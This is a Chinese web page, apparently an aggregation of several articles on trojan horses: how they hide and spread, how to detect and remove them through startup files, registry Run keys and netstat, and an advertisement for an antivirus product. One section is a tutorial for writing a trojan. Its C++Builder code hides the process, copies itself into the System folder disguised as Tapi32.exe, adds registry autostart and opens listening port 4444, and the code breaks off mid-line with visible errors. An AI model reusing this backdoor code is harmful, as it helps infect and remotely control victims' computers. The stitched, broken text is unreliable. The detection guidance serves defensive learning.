编写木马程序的原理是_编写木马程序的原理

hacker|
191

木马程序的原理

一、木马的隐蔽手段

1.隐蔽木马加载的手段可以说是千变万化。但木马都是为一个目的,那就是骗取用户运行它,以运行它的服务产,端程序。随着互联网技术的发展,越来越多的技术为木马所利用。javaScript\VBSrcipt\ActiveX\XML......等等等等,几乎每一个WWW的新功能都会导致木马的快速进化。

2.很多木马喜欢把自己的名字改为Windows.exe,看见这个进程你敢随意地删掉它吗?还有就是更改一些后缀名,用系统dll文件作为自己的名字,只不过后缀名改为dl,如果你不仔细看也不会发现。

3.木马还有一种更隐蔽的方法,那就是修改虚拟设备驱动程序“.vxd”。这种方法的木马基本上摆脱了原有的木马的监听端口模式。这样的木马使用dll进行监听,一旦发现控制端的连接请求就激活自身,将自己插入一个进程以启动自身,这样就会造成系统没有增加新文件,没有新的进程运行,不需要打开端口。因此使用一些常规的方法是查不到它的!可以说它的运行几乎是无迹可寻!

二、防范

1.查看系统托盘。

有些木马会使用冒充工具软件的图标来欺骗用户,从而达到常驻内存的目的。因此如果系统托盘上出现一些未明的图标时一定要查明它的来源。

2.查看正在运行的进程可以快速获知木马的存在。查看时最简单的方法是打开任务管理器,如果看到有不明的进程运行,也须查明这个进程的身份。如果是木马则可以停止它。

3.常使用一些端口检测软件对系统的端口进行监控。

4.不要执行任何来历不明的软件或程序,因为其中会包含病毒。

5.由于木马常用使用邮件附件、QQ信息的附件的方式传播,所以要谨慎对待这些信息的附件,不要随意去点击!(包括熟悉的人的信息)。在接收邮件后都首先要用杀毒软件扫描一遍。

6.经常升级杀毒软件的病毒库。进行全系统的病毒扫描查杀。

什么是木马?它的工作原理是什么?如何应付它

木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种主机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种主机。木马病毒的产生严重危害着现代网络的安全运行。

一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。

特洛伊木马程序不能自动操作, 一个特洛伊木马程序是包含或者安装一个存心不良的程序的, 它可能看起来是有用或者有趣的计划(或者至少无害)对一不怀疑的用户来说,但是实际上有害当它被运行。特洛伊木马不会自动运行,它是暗含在某些用户感兴趣的文档中,用户下载时附带的。当用户运行文档程序时,特洛伊木马才会运行,信息或文档才会被破坏和遗失。特洛伊木马和后门不一样,后门指隐藏在程序中的秘密功能,通常是程序设计者为了能在日后随意进入系统而设置的。

特洛伊木马有两种,universal的和transitive的,universal就是可以控制的,而transitive是不能控制,刻死的操作。

详见百科:

简单的木马怎么编写啊?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s%2

木马病毒的本质是什么(打一电脑程序)?

您好

1,木马其实就是经过伪装的病毒,而病毒就是一种带有破坏性或者目的性的非法程序,进入您的电脑后会盗窃您的个人信息,破坏电脑正常运行等等。

2,如果您担心电脑中毒,不妨到腾讯电脑管家官网下载一个电脑管家。

3,电脑管家拥有16层实时防护功能,可以全方位保护您的电脑安全。

4,而且还拥有云智能预警系统和QQ帐号全景防御系统,全方位多维度保护账号安全,精确打击盗号木马,瞬时查杀并对风险预警。

如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难

木马工作的原理

检测和删除系统中的木马(Trojan Horse)教程

作者:陈昀/太平洋网络学院

一、木马(Trojan Horse)介绍

木马全称为特洛伊木马(Trojan Horse,英文则简称为Trojan)。此词语来源于古希腊的神话故事,传说希腊人围攻特洛伊城,久久不能得手。后来想出了一个木马计,让士兵藏匿于巨大的木马中。大部队假装撤退而将木马摈弃于特洛伊城下,让敌人将其作为战利品拖入城内。木马内的士兵则乘夜晚敌人庆祝胜利、放松警惕的时候从木马中爬出来,与城外的部队里应外合而攻下了特洛伊城。

在计算机安全学中,特洛伊木马是指一种计算机程序,表面上或实际上有某种有用的功能,而含有隐藏的可以控制用户计算机系统、危害系统安全的功能,可能造成用户资料的泄漏、破坏或整个系统的崩溃。在一定程度上,木马也可以称为是计算机病毒。

由于很多用户对计算机安全问题了解不多,所以并不知道自己的计算机是否中了木马或者如何删除木马。虽然现在市面上有很多新版杀毒软件都称可以自动清除木马病毒,但它们并不能防范新出现的木马病毒(哪怕宣传上称有查杀未知病毒的功能)。而且实际的使用效果也并不理想。比如用某些杀毒软件卸载木马后,系统不能正常工作,或根本发现不了经过特殊处理的木马程序。本人就测试过一些经编程人员改装过的著名木马程序,新的查杀毒软件是连检查都检测不到,更不用说要删除它了(哪怕是使用的是最新的病毒库)。因此最关键的还是要知道特洛伊木马的工作原理,由其原理着手自己来检测木马和删除木马。用手工的方法极易发现系统中藏匿的特洛伊木马,再根据其藏匿的方式对其进行删除。

二、木马工作的原理

在Windows系统中,木马一般作为一个网络服务程序在种了木马的机器后台运行,监听本机一些特定端口,这个端口号多数比较大(5000以上,但也有部分是5000以下的)。当该木马相应的客户端程序在此端口上请求连接时,它会与客户程序建立一TCP连接,从而被客户端远程控制。

既然是木马,当然不会那么容易让你看出破绽,对于程序设计人员来说,要隐藏自己所设计的窗口程序,主要途径有:在任务栏中将窗口隐藏,这个只要把Form的Visible属性调整为False,ShowInTaskBar也设为False。那么程序运行时就不会出现在任务栏中了。如果要在任务管理器中隐身,只要将程序调整为系统服务程序就可以了。

好了,现在我们对木马的运行有了大体了解。让我们从其运行原理着手来看看它藏在哪。既然要作为后台的网络服务器运行,那么它就要乘计算机刚开机的时候得到运行,进而常驻内存中。想一想,Windows系统刚启动的时候会通过什么项目装入而运行一些程序呢?你可能会想到“开始-程序-启动”中的项目!没错,这是Windows启动时要运行的东西,但要是木马服务器程序明显地放在这就不叫木马了。

木马基本上采用了Windows系统启动时自动加载应用程序的方法,包括有win.ini、system.ini和注册表等。

在win.ini文件中,[WINDOWS]下面,“run=”和“load=”行是Windows启动时要自动加载运行的程序项目,木马可能会在这现出原形。必须要仔细观察它们,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的或以前没有见到过的启动文件项目,那么你的计算机就可能中上木马了。当然你也得看清楚,因为好多木马还通过其容易混淆的文件名来愚弄用户。如AOL Trojan,它把自身伪装成command.exe文件,如果不注意可能不会发现它,而误认它为正常的系统启动文件项。

在system.ini文件中,[BOOT]下面有个“shell=Explorer.exe”项。正确的表述方法就是这样。如果等号后面不仅仅是explorer.exe,而是“shell=

Explorer.exe 程序名”,那么后面跟着的那个程序就是木马程序,明摆着你已经中了木马。现在有些木马还将explorer.exe文件与其进行绑定成为一个文件,这样的话,这里看起来还是正常的,无法瞧出破绽。

隐蔽性强的木马都在注册表中作文章,因为注册表本身就非常庞大、众多的启动项目及易掩人耳目。

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

上面这些主键下面的启动项目都可以成为木马的容身之处。如果是Windows NT,那还得注意HKEY-LOCAL-MACHINE\Software\SAM下的东西,通过regedit等注册表编辑工具查看SAM主键,里面下应该是空的。

木马驻留计算机以后,还得要有客户端程序来控制才可以进行相应的“黑箱”操作。要客户端要与木马服务器端进行通信就必须得建立一连接(一般为TCP连接),通过相应的程序或工具都可以检测到这些非法网络连接的存在。具体如何检测,在第三部分有详细介绍。

三、检测木马的存在

知道木马启动运行、工作的原理,我们就可以着手来看看自己的计算机有没有木马存在了。

首先,查看system.ini、win.ini、启动组中的启动项目。由“开始-运行”,输入msconfig,运行Windows自带的“系统配置实用程序”。

1、查看system.ini文件

选中“System.ini”标签,展开[boot]目录,查看“shell=”这行,正常为“shell=Explorer.exe”,如果不是这样,就可能中了木马了。下图所示为正常时的情况:

2、查看win.ini文件

选中win.ini标签,展开[windows]目录项,查看“run=”和“load=”行,等号后面正常应该为空,如下图所示:

3、查看启动组

再看看启动标签中的启动项目,有没有什么非正常项目?要是有象netbus、netspy、bo等关键词,极有可能就是木马了。本人一般都将启动组中的项目保持在比较精简的状态,不需要或无大用途的项目都屏蔽掉了。如下图,只是选中了与注册表检查、音量控制、输入法和能源保护相关的启动栏。到时要是有木马出现,自是一目了然。

4、查看注册表

由“开始-运行”,输入regedit,确定就可以运行注册表编辑器。再展开至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件项目,比如netbus、netspy、netserver等的单词。注意,有的木马程序生成的服务器程序文件很像系统自身的文件,想由此伪装蒙混过关。比如Acid Battery木马,它会在注册表项“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下加入

Explorer=“C:\WINDOWS\expiorer.exe”,木马服务器程序与系统自身的真正的Explorer之间只有一个字母的差别!

通过类似的方法对下列各个主键下面的键值进行检查:

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

如果操作系统是Windows NT,还得注意HKEY-LOCAL-MACHINE\Software\SAM下面的内容,如果有项目,那极有可能就是木马了。正常情况下,该主键下面是空的。

当然在注册表中还有很多地方都可以隐藏木马程序,上面这些主键是木马比较常用的隐身之处。除此之外,象HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run、HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run的目录下都有可能成为木马的藏身之处。最好的办法就是在HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run或其它主键下面找到木马程序的文件名,再通过其文件名对整个注册表进行全面搜索就知道它有几个藏身的地方了。

如果有留意,注册表各个主键下都会有个叫“(默认)”名称的注册项,而且数据显示为“(未设置键值)”,也就是空的。这是正常现象。如果发现这个默认项被替换了,那么替换它的就是木马了。

4、其它方法

上网过程中,在进行一些计算机正常使用操作时,发现计算机速度明显起了变化、硬盘在不停的读写、鼠标不听使唤、键盘无效、自己的一些窗口在未得到自己允许的情况下被关闭、新的窗口被莫名其妙地打开.....这一切的不正常现象都可以怀疑是木马客户端在远程控制你的计算机。

如果怀疑你现在正在被木马控制,那么不要慌张地去拔了网线或抽了Modem上的电话线。有可能的话,最好可以逮到“黑”你的那个家伙。下面就介绍一下相应的方法:

由“开始-运行”,输入command,确定,开一个MS-DOS窗口。或者由“开始-程序-MS-DOS”来打开它。在MS-DOS窗口的命令行键入“netstat”查看目前已与本计算机建立的连接。如下图所示:

显示出来的结果表示为四列,其意思分别为Proto:协议,Local Address:本地地址,Foreign Address:远程地址,State:状态。在地址栏中冒号的后面就是端口号。如果发现端口号码异常(比如大于5000),而Foreign Address中的地址又不为正常网络浏览的地址,那么可以判断你的机器正被Foreign Address中表示的远程计算机所窥视着。在对应行的Foreign Address中显示的IP地址就是目前非法连接你计算机的木马客户端。

当网络处于非活动状态,也就是目前没什么活动网络连接时,在MS-DOS窗口中用netstat命令将看不到什么东西。此时可以使用“netstat -a”,加了常数“-a”表示显示计算机中目前处于监听状态的端口。对于Windows98来说,正常情况下,会出现如下的一些处于监听状态的端口(安装有NETBEUI协议):

如果出现有不明端口处于监听(LISTENING)状态,而目前又没有进行任何网络服务操作,那么在监听该端口的就是特洛伊木马了!如下图所示的23456和23457端口都处于监听状态,很明显是木马造成的。

注意,使用此方法查询处于监听状态的端口,一定要保证在短时间内(最好5分钟以上)没有运行任何网络冲浪软件,也没有进行过任何网络操作,比如浏览网页,收、发信等。不然容易混淆对结果的判断。

四、删除木马

好了,用上面的一些方法发现自己的计算机中了木马,那怎么办?当然要将木马删除了,难道还要保留它!首先要将网络断开,以排除来自网络的影响,再选择相应的方法来删除它。

1、由木马的客户端程序

由先前在win.ini、system.ini和注册表中查找到的可疑文件名判断木马的名字和版本。比如“netbus”、“netspy”等,很显然对应的木马就是NETBUS和NETSPY。从网上找到其相应的客户端程序,下载并运行该程序,在客户程序对应位置填入本地计算机地址:127.0.0.1和端口号,就可以与木马程序建立连接。再由客户端的卸除木马服务器的功能来卸除木马。端口号可由“netstat -a”命令查出来。

这是最容易,相对来说也比较彻底载除木马的方法。不过也存在一些弊端,如果木马文件名给另外改了名字,就无法通过这些特征来判断到底是什么木马。如果木马被设置了密码,既使客户端程序可以连接的上,没有密码也登陆不进本地计算机。当然要是你知道该木马的通用密码,那就另当别论了。还有,要是该木马的客户端程序没有提供卸载木马的功能,那么该方法就没什么用了。当然,现在多数木马客户端程序都是有这个功能的。

2、手工

不知道中的是什么木马、无登陆的密码、找不到其相应的客户端程序、......,那我们就手工慢慢来删除这该死的木马吧。

用msconfig打开系统配置实用程序,对win.ini、system.ini和启动项目进行编辑。屏蔽掉非法启动项。如在win.ini文件中,将将[WINDOWS]下面的“run=xxx”或“load=xxx”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=xxx”,更改为:“shell=Explorer.exe”。

用regedit打开注册表编辑器,对注册表进行编辑。先由上面的方法找到木马的程序名,再在整个注册表中搜索,并删除所有木马项目。由查找到的木马程序注册项,分析木马文件在硬盘中的位置(多在C:\WINDOWS和C:\WINDOWS\COMMAND目录下)。启动到纯MS-DOS状态(而不是在Windows环境中开个MS-DOS窗口),用del命令将木马文件删除。如果木马文件是系统、隐藏或只读文件,还得通过“attrib -s -h -r”将对应文件的属性改变,才可以删除。

为保险起见,重新启动以后再由上面各种检测木马的方法对系统进行检查,以确保木马的确被删除了。

目前也有一些木马是将自身的程序与Windows的系统程序进行了绑定(也就是感染了系统文件)。比如常用到的Explorer.exe,只要Explorer.exe一得到运行,木马也就启动了。这种木马可以感染可执行文件,那就更象病毒了。由手工删除文件的方法处理木马后,一运行Explorer.exe,木马又得以复生!这时要删除木马就得连Explorer.exe文件也给删除掉,再从别人相同操作系统版本的计算机中将该文件Copy过来就可以了。

五、结束语

Internet上每天都有新的木马冒出来,所采取的隐蔽措施也是五花八门。在信息社会里,计算机用户对自己的资料进行保密、防止泄漏也变得越来越重要。防范木马袭击也只是提高计算机安全性的一个方面。技术的发展,本文所讲述的检测、删除木马方法也总有一天会失效,最主要还是要靠用户提高警惕,防范所有的不安全事件于未然。

特洛伊木马的工作原理是什么

特洛伊是具有某些功能或仅仅是有趣的程序。但它通常会做一些令人意想不到的事情,如盗取口令或文件。

特洛伊是如何工作的

一般的木马程序都包括客户端和服务端两个程序,其申客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。攻击者要通过木马攻击你的系统,他所做的第一步是要把木马的服务器端程序植人到你的电脑里面。 [内容来自"华西黑客联盟"]

目前木马的主要途径还是先通过一定的方法把木马执行文件弄到被攻击者的电脑系统里,利用的途径有邮件附件、下载软件中等,然后通过一定的提示故意误导被攻击者打开执行文件,比如故意谎称这个木马执行文件,是你朋友送给你贺卡,可能你打开这个文件后,确实有贺卡的画面出现,但这时可能木马已经悄悄在你的后台运行了。一般的木马执行文件非常小,大部分都是几K到几十K,如果把木马捆绑到其他正常文件上,你很难发现,所以,有一些网站提供的往往是捆绑了木马文件的,你执行这些下载的文件,也同时运行了木马。

木马也可以通过Script、ActiveX及Asp.CGI交互脚本的方式植入,由于微软的浏览器在执行Senipt脚本存在一些漏洞。攻击者可以利用这些漏洞传播病毒和木马,甚至直接对浏览者电脑进行文件操作等控制。前不久献出现一个利用微软Scripts脚本漏洞对浏览者硬盘进行格式化的HTML页面。如果攻击者有办法把木马执行文件下载到攻击主机的一个可执行WWW目录夹里面,他可以通过编制CGI程序在攻击主机上执行木马目录。此外,木马还可以利用系统的一些漏洞进行植人,如微软著名的US服务器溢出,通过一个IISHACK攻击程序即可使IIS服务器崩溃,并且同时攻击服务器,执行远程木马执行文件。 www.

当服务端程序在被感染的机器上成功运行以后,攻击者就可以使用客户端与服务端建立连接,并进一步控制被感染的机器。在客户端和服务端通信协议的选择上,绝大多数木马使用的是TCP/IP协议,但是也有一些木马由于特殊的原因,使用UDP协议进行通讯。当服务端在被感染机器上运行以后,它一方面尽量把自己隐藏在计算机的某个角落里面,以防被用户发现;同时监听某个特定的端口,等待客户端与其取得连接;另外为了下次重启计算机时仍然能正常工作。木马程序一般会通过修改注册表或者其他的方法让自己成为自启动程序。

0条大神的评论

发表评论